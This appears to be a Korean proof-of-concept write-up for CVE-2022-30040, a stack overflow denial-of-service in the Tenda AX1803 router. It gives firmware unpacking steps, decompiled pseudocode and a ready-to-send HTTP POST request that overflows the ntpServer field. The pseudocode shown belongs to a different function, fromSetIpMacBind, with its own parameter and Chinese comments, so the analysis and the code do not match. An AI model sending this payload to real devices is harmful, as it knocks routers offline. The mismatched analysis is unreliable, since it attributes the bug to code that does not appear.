
CVE-2022-30040에 대한 개념 증명 익스플로잇으로, Tenda AX1803 라우터 펌웨어의 스택 버퍼 오버플로우로 인해 SetSysTimeCfg 엔드포인트를 통해 서비스 거부(DoS)를 유발합니다.
이 취약점은 rootfs_ubifs 파일 시스템의 / bin / tdhttpd에 있는 / goform / setsystimecfg에 존재합니다. 공격자는 http://ip/goform/SetSysTimeCfg에 접근하고 ntpserve 매개변수를 설정함으로써 스택 버퍼 오버플로를 유발하여 라우터 서비스 거부 효과를 달성할 수 있습니다.
먼저 펌웨어의 압축을 해제합니다:
제조사 공식 웹사이트( https://www.tenda.com.cn/download/detail-3225.html )에서 펌웨어를 다운로드합니다. 펌웨어는 암호화되어 있지 않으므로 binwalk 도구(명령: binwalk - me *. Bin)를 사용하여 Tenda AX1803 v1.0.0.1_2890 펌웨어를 바로 언패킹하면 rootfs_ UBIFS 파일 시스템을 얻을 수 있습니다.
취약점 분석:
(참고: 다음 코드 스크린샷은 ida7.6_pro_32-bit를 통해 rootfs_ubifs의 / bin / tdhttpd 파일을 디스어셈블 및 디컴파일하여 얻은 의사 C 언어 코드입니다.)
/ goform / setsystimecfg에 접근하면 사용자는 처리를 위해 fromsetsystime 함수에 진입하게 됩니다. 다음은 fromsetsystime 함수의 일부 의사 코드 스크린샷과 주석입니다:



사용자가 http://ip/goform/SetSysTimeCfg에 접근하면 rootfs_ ubifs 내의 / bin / tdhttpd가 fromsetsystime을 호출하여 이 접근을 처리하고, POST 방식으로 제출된 ntpserver 매개변수를 V4 포인터에 할당한 후 반드시 실행되는 if 분기로 들어갑니다(분석 내용은 의사 코드 스크린샷의 주석에 작성되어 있습니다). 이 if 분기에는 취약한 코드가 있습니다: strcpy (& V32 [16], B4). 따라서 V4를 통해 제출된 ntpserver 매개변수, 즉 POST로 V32의 경계를 넘치게 하여 함수의 반환 주소를 무효 주소로 덮어쓸 수 있고, 이를 통해 라우터를 재시작시켜 서비스 거부 공격 효과를 발생시킬 수 있습니다.
다음은 fromsetsystime 함수의 의사 코드입니다:
int __fastcall fromSetIpMacBind(int a1)
{
const char *Parameter; // r5
unsigned int v2; // r0
int i; // r4
char *v4; // r0
char *v5; // r11
int v6; // r3
int v7; // r5
int v8; // r2
int v10; // [sp+8h] [bp-440h]
char *nptr; // [sp+10h] [bp-438h]
int v13; // [sp+14h] [bp-434h]
char v14[32]; // [sp+28h] [bp-420h] BYREF
char v15[32]; // [sp+48h] [bp-400h] BYREF
char v16[64]; // [sp+68h] [bp-3E0h] BYREF
char v17[64]; // [sp+A8h] [bp-3A0h] BYREF
char dest[64]; // [sp+E8h] [bp-360h] BYREF
char v19[128]; // [sp+128h] [bp-320h] BYREF
char v20[128]; // [sp+1A8h] [bp-2A0h] BYREF 可以通过设置list参数通过strcpy函数溢出的
栈上变量
char s[256]; // [sp+228h] [bp-220h] BYREF
char v22[288]; // [sp+328h] [bp-120h] BYREF
memset(s, 0, sizeof(s));
memset(v16, 0, sizeof(v16));
memset(v19, 0, sizeof(v19));
nptr = GetParameter(a1, "bindnum", "0");
Parameter = GetParameter(a1, "list", &byte_1E9CC8);// 将访问
ip/goform/SetIpMacBind时post提交的list参数
// 赋值给Parameter变量
GetValue("dhcps.Staticnum", v19);
v13 = atoi(v19);
v2 = atoi(nptr);
v10 = v2;
if ( v2 > 0x20 )
{
printf("staic ip number over %d\n", 32);
goto LABEL_30;
}
for ( i = 1; ; ++i )
{
v6 = Parameter;
if ( Parameter )
v6 = 1;
if ( i > v10 )
v6 = 0;
if ( !v6 )
break;
memset(v20, 0, sizeof(v20));
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
memset(v14, 0, sizeof(v14));
memset(v15, 0, sizeof(v15));
memset(dest, 0, sizeof(dest));
v4 = strchr(Parameter, '\n'); // 如果parameter也就是post提交的
list参数中存在换行符,则v4不为零,否则v4为零。
v5 = v4;
if ( v4 ) // v4不为零,也就是提交的list参数中存
在换行符
{
*v4 = 0;
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
Parameter = v5 + 1;
}
else // v4为零,也就是提交的list参数中无换
行符
{
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
}
if ( v20[0] == 13 )
{
if ( _isoc99_sscanf(&v20[1], "%17[0-9a-fA-F:]\r%s", v14) != 2 )
goto LABEL_20;
strcpy(dest, &byte_1E9CC8);
}
else if ( _isoc99_sscanf(v20, "%[^\r]\r%[0-9a-fA-F:]\r%s", dest) != 3 )
{
LABEL_20:
v2 = puts("get ip and mac error!");
v6 = 1;
break;
}
printf("%s %d# dev_name=%s,mac_addr=%s,ip_addr=%s\n", "set_mac_bind_list",
543, dest, v14, v15);
sprintf(v17, "dhcps.Staticip%d", i);
sprintf(v22, "%s;%s;0", v15, v14);
v2 = SetValue(v17, v22);
if ( dest[0] )
{
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
v2 = sub_62C98(dest, v14);
}
}
v7 = v10 + 1;
if ( i == v10 + 1 )
{
if ( !v6 )
{
puts("set static num sucess!");
v2 = SetValue("dhcps.Staticnum", nptr);
while ( v7 <= v13 )
{
memset(v19, 0, sizeof(v19));
sprintf(v16, "dhcps.Staticip%d", v7);
GetValue(v16, v19);
sprintf(v16, "dhcps.Staticip%d", v7++);
v2 = SetValue(v16, &byte_1E9CC8);
}
goto LABEL_27;
}
LABEL_30:
v8 = 1;
goto LABEL_31;
}
if ( v6 )
goto LABEL_30;
LABEL_27:
if ( sub_8CB38(v2) )
{
memset(v22, 0, 0x100u);
strcpy(v22, "op=200");
send_msg_to_netctrl(19, v22);
}
v8 = 0;
LABEL_31:
sprintf(s, "{\"errCode\":%d}", v8);
return sub_55970(a1, s);
}
POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: password=bb507bf3973a97a9bf1267699f712550bkcmji
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
ntpServer=a*num
(참고: num은 0x134h바이트보다 커야 합니다. 즉, 전송할 문자의 개수가 0x134h보다 크면 DoS 공격이 발생할 수 있습니다.)